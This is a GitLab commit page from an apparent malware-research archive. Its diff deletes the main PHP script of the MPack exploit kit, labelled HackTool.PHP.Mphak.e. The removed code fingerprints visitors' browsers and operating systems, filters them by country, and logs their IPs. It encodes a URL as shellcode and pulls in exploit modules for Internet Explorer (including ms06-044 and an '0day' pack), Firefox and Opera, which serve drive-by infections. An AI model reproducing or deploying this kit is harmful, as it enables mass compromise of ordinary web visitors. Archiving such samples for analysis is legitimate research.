Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
MalwareSourceCode
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Wiki
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Package Registry
Container Registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Issue analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
backup
MalwareSourceCode
Commits
4b52f614
Unverified
Commit
4b52f614
authored
4 years ago
by
vxunderground
Committed by
GitHub
4 years ago
Browse files
Options
Downloads
Patches
Plain Diff
Delete HackTool.PHP.Mphak.e
parent
d320ee00
No related branches found
No related tags found
No related merge requests found
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
PHP/HackTool.PHP.Mphak.e
+0
-236
0 additions, 236 deletions
PHP/HackTool.PHP.Mphak.e
with
0 additions
and
236 deletions
PHP/HackTool.PHP.Mphak.e
deleted
100644 → 0
+
0
−
236
View file @
d320ee00
<
?
//
MP
ack
main
script
//
.
CONFIG
include
(
'
settings
.
php
'
);
//
global
settings
//
.
CODE
include
(
'
cryptor
.
php
'
);
//
crypting
module
function
detect_browser
(
$
HTTP_USER_AGENT
)
{
//
if
(
eregi
(
"(opera) ([0-9]{1,2}.[0-9]{1,3}){0,1}"
,
$
HTTP_USER_AGENT
,
$
match
)
||
eregi
(
"(opera/)([0-9]{1,2}.[0-9]{1,3}){0,1}"
,
$
HTTP_USER_AGENT
,
$
match
))
{
$
browser
[
name
]
=
"Opera"
;
$
browser
[
version
]
=
$
match
[
2
];
}
elseif
(
eregi
(
"(konqueror)/([0-9]{1,2}.[0-9]{1,3})"
,
$
HTTP_USER_AGENT
,
$
match
))
{
$
browser
[
name
]
=
"Konqueror"
;
$
browser
[
version
]
=
$
match
[
2
];
}
elseif
(
eregi
(
"(lynx)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})"
,
$
HTTP_USER_AGENT
,
$
match
))
{
$
browser
[
name
]
=
"Lynx"
;
$
browser
[
version
]
=
$
match
[
2
];
}
elseif
(
eregi
(
"(links) \(([0-9]{1,2}.[0-9]{1,3})"
,
$
HTTP_USER_AGENT
,
$
match
))
{
$
browser
[
name
]
=
"Links"
;
$
browser
[
version
]
=
$
match
[
2
];
}
elseif
(
eregi
(
"(msie) ([0-9]{1,2}.[0-9]{1,3})"
,
$
HTTP_USER_AGENT
,
$
match
))
{
$
browser
[
name
]
=
"MSIE"
;
$
browser
[
version
]
=
$
match
[
2
];
}
elseif
(
eregi
(
"(netscape6)/(6.[0-9]{1,3})"
,
$
HTTP_USER_AGENT
,
$
match
))
{
$
browser
[
name
]
=
"Netscape"
;
$
browser
[
version
]
=
$
match
[
2
];
}
elseif
(
eregi
(
"(mozilla)/([0-9]{1,2}.[0-9]{1,3})"
,
$
HTTP_USER_AGENT
,
$
match
))
{
$
browser
[
name
]
=
"Netscape(mozilla)"
;
$
browser
[
version
]
=
$
match
[
2
];
if
(
eregi
(
"(firefox)/([0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2}.[0-9]{1,2})"
,
$
HTTP_USER_AGENT
,
$
match
))
{
$
browser
[
name
]
=
"Firefox"
;
$
browser
[
version
]
=
$
match
[
2
];}
}
else
{
$
browser
[
name
]
=
"Unknown"
;
$
browser
[
version
]
=
"Unknown"
;
}
//
OS
if
(
eregi
(
"linux"
,
$
HTTP_USER_AGENT
))
$
browser
[
os
]
=
"Linux"
;
elseif
(
eregi
(
"win32"
,
$
HTTP_USER_AGENT
))
$
browser
[
os
]
=
"Windows"
;
elseif
((
eregi
(
"(win)([0-9]{2})"
,
$
HTTP_USER_AGENT
,
$
match
))
||
(
eregi
(
"(windows) ([0-9]{2})"
,
$
HTTP_USER_AGENT
,
$
match
)))
$
browser
[
os
]
=
"Windows "
.
$
match
[
2
];
elseif
(
eregi
(
"(winnt)([0-9]{1,2}.[0-9]{1,2}){0,1}"
,
$
HTTP_USER_AGENT
,
$
match
))
$
browser
[
os
]
=
"Windows NT "
.
$
match
[
2
];
elseif
(
eregi
(
"(windows nt)( ){0,1}([0-9]{1,2}.[0-9]{1,2}){0,1}"
,
$
HTTP_USER_AGENT
,
$
match
))
$
browser
[
os
]
=
"Windows NT "
.
$
match
[
3
];
elseif
(
eregi
(
"mac"
,
$
HTTP_USER_AGENT
))
$
browser
[
os
]
=
"Macintosh"
;
elseif
(
eregi
(
"freebsd"
,
$
HTTP_USER_AGENT
))
$
browser
[
os
]
=
"FreeBSD"
;
else
$
browser
[
os
]
=
"Unknown"
;
if
(
eregi
(
"(sv1)"
,
$
HTTP_USER_AGENT
))
$
browser
[
os
]
=
"Windows NT 5.1 SP2"
;
return
$
browser
;
}
function
uEncode
(
$
s
)
//
encodes
url
into
shellcode
{
$
res
=
strtoupper
(
bin2hex
(
$
s
));
$
g
=
round
(
strlen
(
$
res
)
/
4
);
if
(
$
g
!
=
(
strlen
(
$
res
)
/
4
))
{
$
res
.
=
"00"
;
}
$
out
=
""
;
for
(
$
i
=
0
;
$
i
<
strlen
(
$
res
);
$
i
+=
4
)
{
$
out
.
=
"%
u
"
.
substr
(
$
res
,
$
i
+
2
,
2
).
substr
(
$
res
,
$
i
,
2
);
}
return
$
out
;
}
//
checks
current
country
with
a
list
//
terminate
if
not
in
the
list
function
C
heckCountry
()
{
global
$
C
outryList
;
$
cci
=
G
etCountryInfo
(
getenv
(
"REMOTE_ADDR"
));
if
(
strpos
(
strtoupper
(
$
C
outryList
),
$
cci
[
'
a2
'
])
==
FALSE
)
{
//
coutry
not
in
the
list
echo
"^_^"
;
exit
;
}
}
//
checks
and
saves
user
'
s
IP
hashed
with
browser
//
to
avoid
future
browser
'
s
hangup
function
C
heckAddUser
()
{
global
$
U
seMySQL
;
global
$
dbstats
;
$
ipua
=
md5
(
getenv
(
"REMOTE_ADDR"
).
getenv
(
"HTTP_USER_AGENT"
));
if
(
$
U
seMySQL
==
0
)
{
//
text
variant
$
fn
=
"users.txt"
;
if
(
file_exists
(
$
fn
))
{
$
lines
=
file
(
$
fn
);
if
(
in_array
(
$
ipua
.
"\n"
,
$
lines
)
==
TRUE
)
{
//
got
dup
echo
";["
;
exit
;
}
}
//
uniq
record
$
fp
=
fopen
(
$
fn
,
"a"
);
fwrite
(
$
fp
,
$
ipua
.
"\n"
);
fclose
(
$
fp
);
}
else
{
//
mysql
variant
$
query
=
"SELECT * FROM "
.
$
dbstats
.
"_users WHERE data='"
.
$
ipua
.
"'"
;
$
res
=
mysql_query
(
$
query
);
$
merr
=
mysql_error
();
if
(
$
merr
!
=
""
)
{
//
looks
like
no
table
,
create
&
add
data
$
query
=
"CREATE TABLE `"
.
$
dbstats
.
"_users` (`data` VARCHAR( 32 ) NOT NULL ) ENGINE = MYISAM ;"
;
mysql_query
(
$
query
);
$
query
=
"INSERT INTO "
.
$
dbstats
.
"_users VALUES ('"
.
$
ipua
.
"')"
;
mysql_query
(
$
query
);
}
else
{
//
table
found
,
check
returned
set
count
$
rcount
=
@
mysql_num_rows
(
$
res
);
if
(
$
rcount
>
0
)
{
//
found
data
,
prevent
view
echo
":["
;
exit
;
}
else
{
//
not
found
,
add
$
query
=
"INSERT INTO "
.
$
dbstats
.
"_users VALUES ('"
.
$
ipua
.
"')"
;
mysql_query
(
$
query
);
}
}
}
}
//
W
indows
NT
5
.0
=
W
in2000
//
W
indows
NT
5
.1
=
W
inXP
sp0
,
1
//
W
indows
NT
5
.1
SP2
=
W
inXP
sp2
(
W
indows
NT
5
.1
;
SV1
)
under
IE
//
W
indows
NT
5
.2
=
W
in2003
build
164
/
16
.6
$
browser
=
detect_browser
(
getenv
(
"HTTP_USER_AGENT"
));
if
(
$
O
nlyDefiniedCoutries
==
1
)
{
C
heckCountry
();
}
if
(
$
B
lockDuplicates
==
1
)
{
C
heckAddUser
();
}
A
ddIP
(
"all"
);
if
(
$
U
seMySQL
==
1
)
{
//
geo2ip
stat
on
traff
$
id
=
"traff"
;
$
cci
=
G
etCountryInfo
(
getenv
(
"REMOTE_ADDR"
));
//
increase
hits
to
this
country
$
query
=
"UPDATE "
.
$
dbstats
.
" SET count = count + 1 WHERE a2 = '"
.
$
cci
[
'
a2
'
].
"' AND statid = '"
.
$
id
.
"'"
;
$
r
=
mysql_query
(
$
query
);
if
(
mysql_affected_rows
()
==
0
)
{
$
query
=
"INSERT INTO "
.
$
dbstats
.
" VALUES ('"
.
$
id
.
"', '"
.
$
cci
[
'
a2
'
].
"', '"
.
$
cci
[
'
name
'
].
"', 1)"
;
mysql_query
(
$
query
);
}
//
browser
-
type
count
$
query
=
"UPDATE "
.
$
dbstats
.
"_brs SET count = count + 1 WHERE browser = '"
.
$
browser
[
name
].
"'"
;
$
r
=
mysql_query
(
$
query
);
if
(
mysql_affected_rows
()
==
0
)
{
$
query
=
"INSERT INTO "
.
$
dbstats
.
"_brs VALUES ('"
.
$
browser
[
name
].
"', 1)"
;
mysql_query
(
$
query
);
}
}
if
(
$
C
ountReferers
==
1
)
{
//
referer
count
$
ref
=
"_"
.
substr
(
@
mysql_real_escape_string
(
getenv
(
"HTTP_REFERER"
)),
0
,
100
);
$
query
=
"UPDATE "
.
$
dbstats
.
"_refs SET count = count + 1 WHERE referer = '"
.
$
ref
.
"'"
;
$
r
=
mysql_query
(
$
query
);
if
(
mysql_affected_rows
()
==
0
)
{
$
query
=
"INSERT INTO "
.
$
dbstats
.
"_refs VALUES ('"
.
$
ref
.
"', 1)"
;
mysql_query
(
$
query
);
}
}
//
extended
loader
'
s
subsystem
if
(
isset
(
$_
GET
[
'
id
'
]))
{
$
L
oaderPath
=
$
L
oaderPath
.
"?id="
.
$_
GET
[
'
id
'
];
}
//
exploits
combination
if
(
$
browser
[
name
]
==
"MSIE"
)
{
if
(
$
browser
[
os
]
!
=
"Windows NT 5.0"
)
{
A
ddIP
(
"0day"
);
include
'
crypt
.
php
'
;
include
'
megapack1
.
php
'
;
}
if
(
$
browser
[
os
]
==
"Windows NT 5.0"
)
{
A
ddIP
(
"jar"
);
include
'
ms06
-
044
_
w2k
.
php
'
;
include
'
megapack1
.
php
'
;
}
}
if
(
$
browser
[
name
]
==
"Firefox"
)
{
A
ddIP
(
"firefox"
);
include
'
ff
.
php
'
;
}
if
(
$
browser
[
name
]
==
"Opera"
)
{
if
(
substr
(
$
browser
[
version
],
0
,
1
)
<
"8"
)
{
A
ddIP
(
"opera7"
);
include
'
o7
.
php
'
;
}
}
//
if
(
$
browser
[
name
]
!
=
"Opera"
)
&&
(
$
browser
[
name
]
!
=
"Firefox"
)
&&
(
$
browser
[
name
]
!
=
"MSIE"
)
{
include
'
megapack1
.
php
'
;
}
//
echo
getenv
(
"HTTP_USER_AGENT"
).
"<br>"
;
//
echo
"Browser: "
.
$
browser
[
name
].
"<br> Browser Ver: "
.
$
browser
[
version
].
"<br>OS: "
.
$
browser
[
os
];
?
>
\ No newline at end of file
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment